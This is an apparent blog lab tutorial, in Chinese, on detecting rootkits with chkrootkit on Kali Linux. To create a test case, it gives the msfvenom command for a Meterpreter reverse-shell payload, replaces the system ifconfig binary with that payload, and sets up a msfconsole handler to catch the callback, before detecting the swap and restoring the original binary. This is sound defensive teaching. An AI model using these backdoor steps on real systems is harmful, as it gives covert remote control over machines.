使用chkrootkit对系统进行rootkit扫描

【实验目的】

掌握chkrootkit对Linux系统rootkit木马的查杀方法。

【知识点】

1. chkrootkit介绍

chkrootkit是一款用于UNIX/Linux的本地rootkit检查工具,用于检查系统上已知的rootkit。它通过检查通常与rootkit相关的特定文件、目录和字符串,扫描系统以查找rootkit安装的任何迹象。它还可以检查可疑的网络活动和隐藏的进程。它可以帮助确保Linux系统的安全性。
像Tripwire一样,chkrootkit也是“事后诸葛亮”,其只能针对系统可能的漏洞以及已经被入侵的部分进行分析。它并没有防止入侵的功能。

2. chkrootkit的主要功能

检测是否被植入后门、木马、rootkit
检测系统命令是否正常
检测登录日志

3. rootkit

rootkit是Linux平台下最常见的一种木马后门工具,它主要通过替换系统文件来达到入侵和隐蔽的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发现这种木马。rootkit攻击能力极强,对系统的危害很大,它通过一套工具来建立后门和隐藏行迹,从而让攻击者保住权限,以使它在任何时候都可以使用root权限登录到系统。

4. rootkit主要有两种类型:文件级别和内核级别

(1) 文件级别的rootkit:

一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等。文件级别的rootkit,对系统维护很大,目前最有效的防御方法是定期对系统重要文件的完整性进行检查,如Tripwire、aide等。

(2) 内核级别rootkit:

是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。内核级rootkit主要依附在内核上,它并不对系统文件做任何修改。

【实验原理】

rootkit是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉,通过这类工具,入侵者建立了一条能够时常入侵系统,或者说对系统进行实时控制的途径。所以,要用chkrootkit 来定时监测系统,以保证系统的安全。

【软件工具】

  • 服务器:kali2020一台;
  • 软件:chkrootkit是系统rootkit扫描工具。

【实验目标】

掌握使用chkrootkit工具检测、查杀rootkit木马。

【实验步骤】

1. 下载安装配置chkrootkit(本实验已内置,无需下载)

(1)其官方网站是http://www.chkrootkit.org。下载地址:ftp://ftp.chkrootkit.org/pub/seg/pac/chkrootkit.tar.gz。 实验环境中,已将软件放置在/opt/目录下。

(2)使用命令对其解压:tar –zxvf chkrootkit.tar.gz

Chkrootkit软件包含:
chkrootkit:这是一个shell脚本,用于检查系统二进制文件是否被rootkit修改。
ifpromisc.c:检查网络端口是否处于混杂模式(promiscuous mode)。
chklastlog.c:检查lastlog是否删除。
chkwtmp.c:检查wtmp是否删除。
check_wtmpx.c:检查wtmpx是否删除(仅适用于Solaris)
chkproc.c:检查可加载内核模块木马的痕迹。
chkdirs.c:检查可加载内核模块木马的痕迹。
strings.c:快捷的字符串替换。
chkutmp.c:检查utmp是否删除。

(3)首次,安装chkrootkit,需要准备gcc的安装环境,下载gcc和gcc-c++,在centos系统使用yum,Debian系统使用apt-get命令,下图是在kali上使用apt-get进行安装。

apt-get install gcc
apt-get install gcc-c++
apt-get install make

(4)使用make对chkrootkit进行编译安装,使用命令:make sense。

(5)安装成功后,使用./chkrootkit –h 可查看工具的使用参数。

参数含义
-h 显示帮助信息
-v 显示版本信息
-l 显示测试内容
-d debug模式,显示检测过程的相关指令程序
-q 安静模式,只显示有问题的内容
-x 高级模式,显示所有检测结果
-r dir设置指定的目录为根目录
-p dir1:dir2:dirN指定chkrootkit检测时使用系统命令的目录
-n 跳过NFS连接的目录

2. chkrootkit工具的使用

(1)使用chkrootkit工具较为简单,切换到chkrootkit目录下,执行./chkrootkit 即可。

(2)输出结果中可能包含的状态字段如下:

“INFECTED”:检测出了一个可能被已知rootkit修改过的命令。
“not infected”:未检测出任何已知的rootkit指纹。
“not tested”:未执行测试–在以下情形中发生这种情况:
这种测试是特定于某种操作系统的。
这种测试依赖于外部的程序,但这个程序不存在。
给定了一些特定的命令行选项(例如,-r)。
“not found”:要检测命令对象不存在。

3. 生成后门程序

(1)由于检测内容较多,经常使用grep命令对结果过滤,执行:./chkrootkit|grep INFECTED。可查看到当前系统中chkrootkit未检测到后门rookit。

(2)当前kali系统是一个安全的无rootkit后门状态。接下来使用msfvenom工具生成一个后门程序。执行命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.50 LPORT=444 -f elf -o /root/payload.elf。生成的后门程序payload.elf文件保存到/root目录下。

(3)备份系统命令ifconfig。使用which ifconfig 找到命令文件位置。将/usr/sbin/ifconfig备份到/root/目录下。执行ifconfig命令,命令可以正常使用,并查看到网卡配置信息。

(4)将/root目录下payload.elf文件拷贝至/usr/sbin/目录,执行命令:cp /root/payload.elf /usr/sbin/ifconfig。此时,再次执行ifconfig,无网卡信息出现,仿佛程序卡死,其实是执行了后门rootkit程序,正在连接控制端。

(5)新建一个命令行终端,输入msfconsole。

(6)输入命令:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.50
msf6 exploit(multi/handler) > set lport 444
msf6 exploit(multi/handler) > run
Started reverse TCp handler on 10.0.0.50:444

(7)运行ifconfig命令,发现在msfconsole中出现meterpreter的session会话。

4. 利用chkrootkit检查并查杀rootkit马

(1)由上面可观察出ifconfig命令被篡改,而且是一个rookit后门文件。
(2)此时返回chkrootkit工具目录,执行:./chkrootkit|grep INFECTED,发现ifconfig命令报警。

(3)由于之前已经备份了ifconfig文件,此时可以将备份的文件拷贝覆盖检测到的ifconfig文件。需退出3(7)会话。执行命令:cp /root/ifconfig /usr/sbin/ifconfig 。此时,再执行ifconfig命令可以查看到网卡信息。命令正常使用。

(4)再次使用chkrootkit对系统进行扫描。发现已无恶意文件告警。

(5)chkrootkit在检查rootkit的过程中使用了部分系统命令,因此,如果服务器被黑客入侵,那么依赖的系统命令可能也已经被入侵者替换,此时chkrootkit的检测结果将变得完全不可信。为了避免chkrootkit的这个问题,可以在服务器对外开放前,事先将chkrootkit使用的系统命令进行备份,在需要的时候使用备份的原始系统命令让chkrootkit对rootkit进行检测。这个过程可以通过下面的操作实现。在执行命令前,输入:bash,使用bash。

执行命令:mkdir /usr/share/.commands
执行命令:which awk cut echo find egrep grep id head ls netstat ps strings sed uname |xargs -i cp {} /usr/share/.commands。

上面这段操作是在/usr/share/下建立了一个.commands隐藏文件,然后将chkrootkit使用的系统命令进行备份到这个目录下。为了安全起见,可以将.commands目录压缩打包,然后下载到一个安全的地方进行备份,以后如果服务器遭受入侵,就可以将这个备份上传到服务器任意路径下,然后通过chkrootkit命令的“-p”参数指定这个路径进行检测即可。

【实验结果】

Chkrootkit系统rootkit扫描工具可以分析msfvenom生成的linux后门程序,实验中使用的是将生成的后门程序替换为系统命令ifconfig。

【实验思考】

Chkrootkit工具检测结果是完全可信的吗?如果不是,请想一想有没有其他的方法尽量让其结果可信?

  • 21
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值